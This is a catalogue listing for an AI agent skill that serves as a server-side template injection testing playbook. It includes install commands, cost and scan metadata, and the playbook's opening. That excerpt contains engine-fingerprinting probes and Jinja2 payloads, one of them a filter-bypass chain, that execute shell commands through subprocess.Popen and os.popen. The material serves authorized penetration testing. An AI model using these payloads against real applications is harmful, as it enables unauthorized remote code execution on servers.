ssti

A security-testing playbook for server-side template injection, where application input is evaluated inside a page template instead of displayed as text. It first identifies the template engine, such as Jinja2, Twig, or ERB.

In plain words
What is it for?
Use it to test authorized applications for template injection, send engine-specific probes, identify the template technology, and document a confirmed finding.
Why use it?
Testing the real template input and engine helps distinguish an actual vulnerability from harmless text reflection. The guide then directs testing toward proving impact, such as code execution or access to sensitive data.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/pentesterflow/agent/ssti
Any agent
npx skills add PentesterFlow/agent --skill ssti
Clone the repo
git clone --depth 1 https://github.com/PentesterFlow/agent

Made for: Claude Code, Codex.

Per session 99 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,454 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00099 $0.01454
Opus 5 $0.00049 $0.00727
Sonnet 5 $0.00020 $0.00291
Haiku 4.5 $0.00010 $0.00145

Measured yesterday against content hash 38c951542aec, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

ssti scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with `http`/curl.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

Find an index where the subclass is `<class 'subprocess.Popen'>` (commonly 200–400). Then:
skills/ssti/SKILL.md · 164 lines

How it starts

The opening of the file, as written. The whole thing — 164 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SSTI playbook

You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.

Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.

1. Fingerprint the engine — fast

Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:

${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}

Cross-reference results:

Render result Engine
49 from {{7*7}} AND 7777777 from {{7*'7'}} Jinja2 (Python)
49 from {{7*7}} AND 49 from {{7*'7'}} Twig (PHP)
49 from ${7*7} Velocity / Freemarker / Mako (probe further)
49 from <%= 7*7 %> ERB (Ruby) / EJS (Node)
49 from *{7*7} Smarty
Output of {{7*7}} literally Not an SSTI primitive — look elsewhere

Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.

2. Engine-specific exploitation

Jinja2 (Python, Flask)

{{ ''.__class__.__mro__[1].__subclasses__() }}

Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:

{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}

Bypass blacklists with attribute proxies:

{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}

Payloads: read_payloads(skill="ssti", file="jinja2.txt").

Twig (PHP, Symfony)

Twig blocks most function access. Two proven escapes:

Read the full file on GitHub · 164 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 164 lines · 99 tokens per session scan A 38c951542aec

Subscribe to this mod's changes

ssti is a skill published in the GitHub repository PentesterFlow/agent (1,316 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 99 tokens to every session and 1,454 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.